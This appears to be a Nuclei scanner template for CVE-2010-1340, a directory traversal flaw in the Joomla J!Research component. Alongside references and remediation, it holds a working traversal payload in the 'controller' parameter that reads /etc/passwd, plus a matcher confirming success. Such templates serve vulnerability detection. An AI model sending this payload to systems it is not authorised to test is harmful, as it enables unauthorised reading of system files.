id: CVE-2010-1340 info: name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/33797 - https://nvd.nist.gov/vuln/detail/CVE-2010-1340 - http://web.archive.org/web/20210121195000/https://www.securityfocus.com/bid/38917/ - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1340 tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/14